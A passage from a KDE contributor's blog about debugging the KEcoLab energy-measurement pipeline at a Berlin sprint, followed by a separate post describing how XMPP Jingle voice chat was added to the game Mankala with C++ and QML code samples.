Error in performanceData$HDDRead + performanceData$HDDWritten : non-numeric argument to binary operator

We then looked into running the setup locally on our laptops to debug the issue. We found out that when stopping the pipeline before completion, it results in the intermediate data being overwritten instead of the files being deleted on a fresh run which resulted in data corruption and hence the error. We fixed that with 64, 18 and 16 patches and ran the pipeline again.

Next we focused on brainstorming ideas about the workflow to measure the Plasma Desktop Environment. We were initially thinking about using the second PC for measuring it due to security reasons but since we were unable to set up the 2nd server we had to shift our plans. We also got some nice inputs regarding this from Volker. Following points were discussed

1. No root access to user files for test user.
2. In a standard usage scenario, PC would run for approx. 8 hours -> this was used to determine the baseline, standard usage scenario and idle modes for the plasma testing.
3. Testing different snapshots of Plasma against regressions in new releases -> maybe even KDE Linux can be a good candidate.
4. How to run the daemon from the pipeline without root permissions.
5. Password stored as gitlab secret and given permission to owners (or maybe don’t require a password).
6. Switching to a newer set of hardware long term.
7. Testing plasma on older hardware and modern hardware -> for ex. video playback.
8. Cleanup of the existing hardware -> for ex. monitor is not needed.

Afterwards we reviewed the open issues, submitting patches for the active bugs and closed those that had already been resolved.

We then went through the report generated by the pipeline and unfortunately found out that the readings were too inaccurate and had way too much divergence in measurement values as compared to the initial report generated for Blue Angel certification. (We are allowed at max 10% increase for Blue Angel Certification).

We found out that there were several startAction and stopAction pairs missing from the script which was causing irregular measurement readings. These actions are used to generate the csv files and the R script is particularly sensitive to these labels which explains why the readings were so wildly inaccurate. So we ran the script again and checked it afterwards the sprint. There were still some issues encountered later on but they were resolved by Joseph and we got a new report for the Blue Angel Certification.

We were also joined by Koleesch who traveled from Postdam for the evening session of the KEcoLab sprint.

While we still had the following day to explore Berlin, it was our last night in the city. Karan and I spent it with Carl Schwan at Tempelhofer Feld before taking one final late night walk through the streets.

Day n/n and Final Thoughts

I had a late night train back to Marburg so me and Karan first spent the day exploring the German Musuem of Technology, it was very big and had so many artifacts describing the history of Berlin and Germany throughout the years. We were’nt able to visit the entire musuem since Karan had an early flight back to Geneva but we were able to go through the Railway and Aviation section. Regardless to say I was mesmerized. Later on I also visited Berliner Mauer and the area surrounding it.

I enjoyed my time in Berlin and huge thanks to KDE e.V for making it possible by sponsoring my travel and stay, and to KDAB and Volker for providing the office space for our sprint.

Hi everyone! This week we added voice chat for Mankala.

For Mankala, our goal was to elevate the player experience by adding real-time voice chat. We have already added text chat using XMPP, and to make this experience better, voice chat is a much better option to add.

Mankala relies on the XMPP protocol for matchmaking and text chat using the opponent and player XMPP IDs, respectively. I took KDE’s own chat application in reference: Kaidan, to implement Jingle (XEP-0167)—the XMPP extension for media sessions and connect it using an audio processing pipeline. After that, I designed the UI for this voice call to connect, accept, and decline calls with sync in UI and XMPP.

How voice is being implemented

I used the QXmpp library to handle the Jingle signaling and designed a C++ class, VoiceCallManager, which controls all the call sessions. This manager listens for incoming Jingle requests and establishes the peer-to-peer connection.

// VoiceCallManager.cpp
void VoiceCallManager::initializeManager() {
    auto* callManager = m_client->findExtension<QXmppCallManager>();
    
    // Listen for incoming XMPP Jingle calls
    connect(callManager, &QXmppCallManager::callReceived, 
            this, [this](QXmppCall* call) {
                
        m_activeCall = call;
        m_remoteJid = call->jid();
        m_isCallActive = true;
        
        // Notify the QML frontend that a call has started
        emit callStateChanged();
        emit remoteInfoChanged();
        
        // Accept the call and set up QtMultimedia audio routing
        call->accept();
        setupAudioPipeline();
    });
}

Challenges faced

It was hard to have Game Window and Jingle work together. To handle this, I exposed the call state—such as isCallActive and remoteJid so that the UI can connect these signals easily, making the call interactive in the layout.

Here is how the QML dynamically reacts to the C++ properties:

// GameWindowLandscape.qml
ColumnLayout {
    anchors. fill: parent

    // 1. The Standard Text Chat UI
    Item {
        id: textChatView
        Layout.fillWidth: true
        Layout.fillHeight: true
        // Hide text chat when a voice call is active!
        visible: !voiceManager.isCallActive 
        
        /* ... text chat UI components ... */
    }

    // 2. The Active Voice Call UI
    ColumnLayout {
        id: activeCallView
        Layout.fillWidth: true
        Layout.fillHeight: true
        visible: voiceManager.isCallActive
        
        Kirigami.Icon {
            source: "im-jabber" 
            width: 96; height: 96
        }

        Text {
            text: voiceManager.remoteName
            font.pixelSize: 24
            font. bold: true
        }
        
        Button {
            text: "End Call"
            icon.name: "call-stop"
            onClicked: voiceManager.endCall()
        }
    }
}

By binding QML components to the VoiceCallManager signals, the UI updates instantly based on the state of the call. After this we have successfully implemented voice and text chat for Mankala.

Thanks for reading :)